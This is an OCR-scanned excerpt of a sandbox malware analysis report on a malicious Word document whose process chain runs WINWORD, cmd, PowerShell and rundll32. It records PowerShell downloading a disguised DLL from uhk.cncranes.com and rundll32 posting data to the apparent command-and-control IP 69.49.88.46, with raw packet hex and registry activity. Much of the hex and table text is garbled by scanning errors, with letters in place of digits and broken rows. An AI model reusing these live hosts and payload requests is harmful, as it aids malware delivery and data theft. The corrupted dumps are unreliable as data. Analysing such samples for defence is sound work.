e 69.49.88.46
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HTTP Packets

Session ID

0

Timestamp

Jan 12, 2021
19:16:05.992989063 CET

Jan 12, 2021
19:16:06.229259968 CET

Session ID

1

Timestamp

Jan 12, 2021
19:16:37.122618914 CET

Copyright null 2021

Source IP

192.168.2.22

kBytes
transferred

4

Source IP

192.168.2.22

kBytes
transferred

364

Source Port

49169

Direction

ouT

Source Port

49171

Direction

ouT

Destination IP Destination Port Process

152.32.168.168 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /ErrorPages/3/ HTTP/1.1
Host: uhk.cncranes.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 12 Jan 2021 18:16:06 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Keep-Alive: timeout=60

Set-Cookie: 5ffde7661f466=1610475366; expires=Tue, 12-Jan-2021 18:17:06 GMT; Max-Age=60; path=/

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Tue, 12 Jan 2021 18:16:06 GMT

Expires: Tue, 12 Jan 2021 18:16:06 GMT

Content-Disposition: attachment; filename="SfDrGyeyuy.dIl"

Content-Transfer-Encoding: binary

Data Raw: 33 65 37 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 5a de fd 5f 00 00 00 00 00 00 00 00 e0
00 Oe 21 Ob 01 02 32 00 46 00 00 00 d4 04 00 00 00 00 00 fO 21 00 00 00 10 00 00 00 60 00 00 00 00 00 10 00 10 00 00
00 02 00 00 03 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 05 00 00 04 00 00 01 09 06 00 02 00 00 00 00 00 10
00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 70 00 00 64 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 05 00 58 15 00 00 00 50 05 00 d4 07 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
78 72 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00
00 8b 43 00 00 00 10 00 00 00 44 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61
00 00 Oc 01 00 00 00 60 00 00 00 02 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61
00 00 00 d8 08 00 00 00 70 00 00 00 Oa 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78
74 34 00 00 a4 bf 04 00 00 80 00 00 00 cO 04 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65
78 74 35 00 00 64 00 00 00 00 40 05 00 00 02 00 00 00 14 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 72
65 6¢ 6f 63 00 00 d4 07 00 00 00 50 05 00 00 08 00 00 00 16 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 O
000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 3e70MZ@!L!This program cannot be run in DOS mode.$PELZ_!2F!" pdXPxr.textCD ".rdata’' HQ @.datapJ@.tex
tAT@.text5d@ @.relocP@B

Destination IP Destination Port Process

69.49.88.46 80 C:\Windows\SysWOW64\rundll32.exe
Data

POST /kdd8h70lwp/Ifu3p05/u2kanr3/ HTTP/1.1

DNT: 0

Referer: 69.49.88.46/kdd8h70lwp/Ifu3p05/u2kanr3/

Content-Type: multipart/form-data; boundary=- IOWFryyt50e5vl

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 69.49.88.46

Content-Length: 5572

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes
Timestamp transferred Direction

Jan 12, 2021 371 IN
19:16:38.436824083 CET

Code Manipulations

Statistics

Behavior

\E' Click to jump to process

Copyright null 2021

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 12 Jan 2021 18:16:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 39 39 34 0d 0a 18 Oc 33 81 a5 5¢ 21 07 48 98 20 3e ef 9b b4 36 51 a4 10 c4 36 26 94 da be ac 37 1b c0 26 61
78 el 3ac8e4 19 89 bl c6 8b 33 df 6e 09 2b e6 91 64 a8 37 ce a4 5a c5 Oe 46 a5 72 2b 7f ea 5b 22 cc d9 e8 2a ce 37 57
64 6b 3d cf 97 75 7a c0 30 ec f7 a3 al 48 0f e9 96 aa 07 7f 8b 7e 5¢ 37 d1 18 3c 20 de ee d7 a6 76 9e 3f al e4 1f 30 8d
ab 05 8b c1 6a 9f 30 Ob 30 e4 bc a8 3b dd 80 a5 3a 8a 44 56 d9 9c e2 00 15 ab ab 2e d8 97 37 ab 65 54 5e c8 01 af a9 ad
7336 cc b0 a7 08 12 ae 0d 08 8a cb bb 9f 5e b1 e5 1b d6 a7 ¢5 09 db €9 72 a7 1a 9d al c9 34 4c ff 1d be e3 21 ff be ed
55¢c255f6 b9 cd 84 11 el 79 f1 38 1c 91 ea 2f fd 74 58 27 88 5f 73 5d 3f 78 1b 56 7c d2 c¢8 90 80 b5 70 fb b5 Oc 1d Ob 81
24 30 5a e2 c6 3e 43 4c 93 87 8d 67 c9 8f al 72 d2 4c 9d 65 27 9b 38 46 cd 9d ca 59 15 a8 81 cl a7 16 32 7f 15 e8 51 51
21 d8 05 80 2b 51 e4 5 9b 97 86 45 d9 be 65 df 8d b5 ea bd d8 3¢ 49 8b bc 18 d0 93 27 2a 5e 30 38 fd 3b 19 4e 5¢ 11 fO
ab 5c a5 87 60 bc 51 81 0d e7 93 5e 34 d3 fb Oa a7 85 21 Oa e2 32 77 28 d2 9e 1b db fa 12 23 dc 7b 5e 33 5¢ 13 9c b7 94
9b d1 92 ab 97 14 73 40 8b 58 45 8b f5 48 b2 1d d9 f8 b0 92 12 60 60 b9 Oc 3e 9c 8d dd 95 Of al 10 48 76 f7 39 ed 16 99
fe b7 f8 69 8f €9 47 43 9d a5 2d 66 68 c2 cb 95 a6 a4 ee 1d 67 ae 5f f5 0d e5 b0 d3 Oc f3 c6 ec 99 86 9e 34 25 95 ce af c3
78 4c da 95 4d 73 96 8e 3c 9e e3 39 3d 95 3e b4 89 34 79 ab 42 81 5a 3c 5¢ 7f 0d 68 1f c7 c7 60 98 f8 21 65 3e ed 9c c9
47 c1 b4 4570 29 22 51 9f 18 14 4b 41 27 fa 9d c7 f4 Of e4 8a e6 86 48 f0 a8 8¢ d9 e0 02 32 75 fe f9 ec 4f 70 c2 b0 67 63
b2 15 6f 3f fe f3 96 d8 e0 40 {7 a5 db aa 68 3b a6 5d 5b 4d e6 90 fO b4 90 03 68 92 b4 5 4b 8b 72 3d 76 26 b3 f1 df 06 cc
a0 8f 4c ce 4a ba Ob 9b 82 88 6¢ 2c a3 02 f2 68 84 09 df f4 5¢ 0a 8f 49 8b 3b b0 al 10 fb 2c 2b 8e e6 67 2d 3f 43 e5 33 30
36 09 65 13 04 b9 6d 48 08 1c 03 9f 4b 11 af 47 4d de d4 96 53 f7 31 8a c4 00 2f 68 0d c4 e3 33 cc 20 12 07 d3 b7 8d 1a
86 f5 6d 29 d9 d6 b0 1d 78 b7 98 f7 40 6¢ c0 41 05 d5 4c a7 5e e5 56 e4 9d 5a f2 07 20 83 78 4c 4b 88 5 28 41 Oa 48 ae
33 b8 54 ed db 5c cf fc 43 d4 5f 25 db bb 55 e7 6a ca 5d 8f a4 2e 85 63 40 ba 77 6b 51 2c 20 b8 74 37 9d 9b dd 17 c7 Oc
5a el 56 d9 d1 f9 4c 05 5d 19 ¢9 36 d9 9b bc 1e bf 35 d9 95 43 9¢ 53 56 03 fe 52 62 06 35 f1 3d 20 72 f8 e0 e4 71 2f 04 d<
6d e6 30 1d eb a3 fc 95 9b 18 fc 78 ca 25 48 f1 62 8d 66 16 97 4e 6 c5 40 24 e0 55 da 65 3b bb b3 d8 4e dO 1c 4a 4b d1
60 23 b0 ab ac 02 2d 45 c9 fa ee 74 18 ¢3 91 82 Ob 2c 8d 1c 68 5f 10 c0 c9 6a 03 e3 39 df e5 5 3c a8 85 9e 0a 00 26 50
af 79 5¢ 35 b4 3d 09 79 90 a4 c0 90 2a b0 4a a4 33 42 59 02 38 ba a4 e0 43 09 ef a5 b8 38 f4 df 48 ee 9e 07 49 a9 81 ff
cb 83 bf 8a e2 15 28 00 8d e7 83 4d b0 32 b8 54 14 99 fb 8b 24 38 94 95 a8 62 3b d8 dc 08 76 05 da 71 66 e3 ef 5a db 4f
4a de 33 f5 b8 41 3c cf c3 aa 84 14 02 91 1c d4 eb cd 35 1d 7b 85 ac 78 3¢ 39 42 32 f2 49 61 91 47 4b 64 3c 34 35 6f 46
95 a6 08 c3 4a 57 15 3b 10 d5 c4 5e 84 81 f5 Ob dO 4d fa b1 1b 2c 9f 4a 02 cd 84 08 69 dO c3 dc e4 d4 b4 8b b7 bc e9 5e
Oc 3a 34 aa 80 9b 6a 12 6b 74 cc d7 76 f7 Ob 7f 53 7b 80 4b 06 3e d1 3e 81 f6 c3 ce ec 8d 6f a7 dd 14 43 cc 38 44 12 2c
dd b0 c6 6a 11 52 29 a8 3f b2 92 ff fb 96 c2 19 a3 ce 14 ed 65 ea d4 Ob 14 16 b8 68 22 df 49 14 3e fb af 93 d7 60 9f 11 07
3185 6¢ a3 65 41 58 a7 3d 43 f2 8b f5 11 b7 f4 ff e8 c1 f2 78 97 8d fe c9 d4 Ob 37 Of al 3d ea 74 f8 2d d8 e8 ee 5a e3 44
b9 86 59 c7 3f 13 ae c1 d7 c2 43 74 c3 5e 01 ff 09 14 Ob 34 6¢ b0 86 c6 d7 6b 72 df

Data Ascii: 9943\IH >6Q6&7&ax:3n+d7ZFr+["*7Wdk=uz0H~\7< v?0j00;:DV.7eT"s6 r4LIUUyY8/tX'_s]?xV|p$0Z>CL
grLe'8FY2QQ!+QEe<I*"08;N\\" Q" 412w(#{"3\s@XEH"">HVv9iGC-fhg_4%xLMs<9=>4yBZ<\h'le>GEp)"QKA'H2uOpgco?@h;]
[MhKr=v&LJI,h\I;,+g-?C306emMHKGMS1/h3 m)x@IALNVZ XLK(AH3T\C_%Uj].c@wkQ, t7ZVL]65CSVRb5= rg/m0x%HbfN
@$Ue;NIK'#-Et,h_j9<&Py\5=y*J3BY8BC8HI(M2T$8b;vqfZ0JI3A<5{x<9B2laGKd<450FIW; M,Ji*:4jktvS{K>>0C8D,jR)?e
h"I>"1leAX=Cx7=t-ZDY?Ct 4lkr

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 1604 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:15:38

12/01/2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
0x13fdc0000

1424032 bytes

95C38D04597050285A18F66039EDB456

true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE95226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF779549DD5064C697.TMP success or wait 1 7FEE9449ACO0 unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown 1 success or wait 1 7FEE91AEC53 ReadFile
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown 4096 success or wait 1 7FEE91B6CAC ReadFile
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 7FEE945E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 7FEE945E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 7FEE945E72B RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F6078

Copyright null 2021

success or wait 7TFEE9449ACO0 unknown

success or wait 7TFEE9449ACO0 unknown

success or wait 7TFEE9449ACO unknown

P R R R R R R

success or wait 7TFEE9449ACO unknown
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Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F6078

Copyright null 2021

Name

Cambria Math

Tahoma

F6078

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 44 06 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
57 37 E4 73 5A E9 D6 01 78 60 OF 00
78 60 OF 00 00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F6078

Copyright null 2021

Name

ProductFiles

ProductFiles

F6078

Type

dword

dword

binary

Name

Type

Old Data
1378615342

1378615343

04 00 00 00 44 06 00 00 2A 00

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 FF FF FF FF

New Data

1378615343

1378615344

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 57
37 E4 73 5A E9 D6 01 78 60
OF 00 78 60 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 43 00 3A 00 5C 00 55

00 73 00 6500 72 00 73 00 5C
0041 00 6C 00 62 00 7500 73
00 5C 00 41 00 70 00 70 00

4400 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C

00 5C 00 54 00 65 00 6D 00

70 00 5C 00 69 00 6D 00 67

00 73 00 2E 00 68 00 74 00

6D 00 04 00 00 00 69 00 6D

00 67 00 73 00 00 00 00 00 01
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 78 60 OF 00 78
60 OF 00 00 00 00 00 DB 04

00 00 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF

FF 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

04 00 00 00 44 06 00 00 2A 00 success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
